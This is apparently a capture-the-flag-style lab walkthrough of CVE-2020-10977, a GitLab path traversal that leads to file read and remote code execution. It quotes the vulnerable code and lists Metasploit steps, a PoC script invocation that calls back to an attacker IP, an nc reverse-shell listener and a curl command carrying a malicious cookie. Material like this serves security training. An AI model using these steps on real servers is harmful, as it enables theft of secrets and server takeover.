In 2020, a critical vulnerability was found in the GitLab server. An issue discovered in GitLab CE/EE (Community Edition/Enterprise Edition) versions 8.5 to 12.9 is vulnerable to a path traversal when moving an issue between projects. This path traversal bug leads to the arbitrary file read via the UploadsRewriter and RCE (Remote Command Execution) on the vulnerable server. This vulnerability of GitLab File Read RCE maps to CVE-2020-10977 and critical status since the attacker does not need any special rights in the system.
What is GitLab
GitLab Community Edition (CE) is an open-source end-to-end software development platform with built-in version control, issue tracking, code review, CI/CD, and more.
It is The DevOps platform that empowers organizations to maximize the overall return on software development by delivering software faster and efficiently while strengthening security and compliance. With GitLab, every team in your organization can collaboratively plan, build, secure, and deploy software to drive business outcomes faster with complete transparency, consistency, and traceability.
Statistics
It is an open-core company that develops software for the software development lifecycle. It has around 30 million estimated registered users and more than 1 million active license users.
Path Traversal
Path traversal is a web security vulnerability that allows an attacker to read arbitrary files on the server that is running an application. This might include application code and data, credentials for back-end systems, and sensitive operating system files. In some cases, an attacker might be able to write to arbitrary files on the server, allowing them to modify application data or behavior, and ultimately take complete control of the server.
Vulnerability Source
The actual vulnerability lies in the following UploadsRewriter function of GitLab code
@text.gsub(@pattern) do |markdown|
file = find_file(@source_project, $~[:secret], $~[:file])
break markdown unless file.try(:exists?)
klass = target_parent.is_a?(Namespace) ? NamespaceFileUploader :
FileUploader
moved = klass.copy_to(file, target_parent)
...
def find_file(project, secret, file)
uploader = FileUploader.new(project, secret: secret)
uploader.retrieve_from_store!(file)
uploader
end
The UploadsRewriter
does not validate the file name, allowing arbitrary files to be copied via directory traversal when moving an issue to a new project.
There is no restriction on what file can be; because of that, path traversal can be handy to copy any file, depending on the file’s permission. This vulnerability allows an attacker to read sensitive files i.e., including tokens, private data, configs, etc.
Lab Experiment
For the purpose of demonstration, I will be going through the amazing lab provided by Pentester Academy.
Run the server and you will get a link to the lab providing you a GUI instance of Kali Linux as below

The vulnerable GitLab server is running at http://demo.ine.local. So open the browser and navigate to it as below

We have the option to register a new user. So we create a new account with credentials test123:test1234
as below

We will have our own GitLab projects dashboard as below

Now, we can exploit the vulnerability either using Metasploit
or manually. We will go through both approaches.
Exploiting GitLab File Read RCE using METASPLOIT
Open the terminal and start msfconsole
and search for gitlab_file
as below

Use the exploit/multi/http/gitlab_file_read_rce
and show options as below

Set the RHOSTS, USERNAME, and PASSWORD options and check whether the target is vulnerable or not as below

Exploit Module
It combines an arbitrary file read to extract the Rails secret_key_base
, and gains remote code execution with a deserialization vulnerability of a signed ‘experimentation_subject_id’ cookie that GitLab uses internally for A/B testing. Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later. Its patch came in versions 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects versions 12.4.0 and above when the vulnerable experimentation_subject_id cookie was introduced. Tested on versions 12.8.1 and 12.4.0.
The module first reads the /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml file and reads the value of secret_key_base This is a base key that is used for generating various other secrets.
Exploitation
Since the target GitLab server is vulnerable, exploit it through exploit
command as below

Extract the flag using common Linux commands as below

The shell does not give us the privilege to change the directory. So, list the contents of directories and get the flag using ../
Exploiting GitLab File Read RCE using MANUAL Approach
We know that there are two different issues on the target Gitlab server. The path traversal vulnerability allows an attacker to read the secrets.yml
file. From there, one can read the secret_key_base that is useful for creating a signed experimentation_subject_id
cookie and gains remote code execution with a deserialization vulnerability.
Creating Projects
First, from the dashboard, create 2 projects (named project 1 & project 2) as below

After creating the project, you will see the following successful screen

Creating Issue & Moving
After creating both projects, go to project 1 and create a new issue from top navigation bar as below

Put anything in the title and the following payload in description to read the /etc/passwd file to check the file read

Submit the issue. From the issue page, move the issue from project 1 to project 2 through move option in bottom right corner as below

Move the project as below

LFI
As soon we move the issue, we will be able to download passwd file as below

After downloading, the contents are as below

Reading secrets.yml
Now as the file read is working, we craft the following payload to read secrets.yml
file to get secret_key_base

The desired secret_key_base
is there in the downloaded file.
Exploiting through python script
Now, a payload can be generated by the GitLab instances rails console. But, in the real world, that won’t be the case. However, many python scripts create the payload for this vulnerability. That payload can be used directly to execute a command on the target machine using curl. Or we can modify the code that will only print the given command.
You can use this python script for the exploit.
Run the script using the following command
python3 PoC.py http://demo.ine.local 10.10.27.2
Note: 10.10.27.2 is the IP address of the Kali Instance found through ifconfig
command.
We run the exploit and choose 2 from the options (to get RCE)

As guided by the exploit, we start the nc listener on the port 42069 as below

Now hit ENTER in the exploit window and navigate back to the nc tab to see the receiving connection from target

Exploiting using curl & cookie
If you go back to the exploit tab, it will be showing the experimentation_subject_id
cookie as below

You can gain the reverse shell by using this cookie in the curl command as below
curl -vvv "http://demo.ine.local/users/signin" -b "experimentation_subject_id=COOKIE_VALUE"
Leave a Reply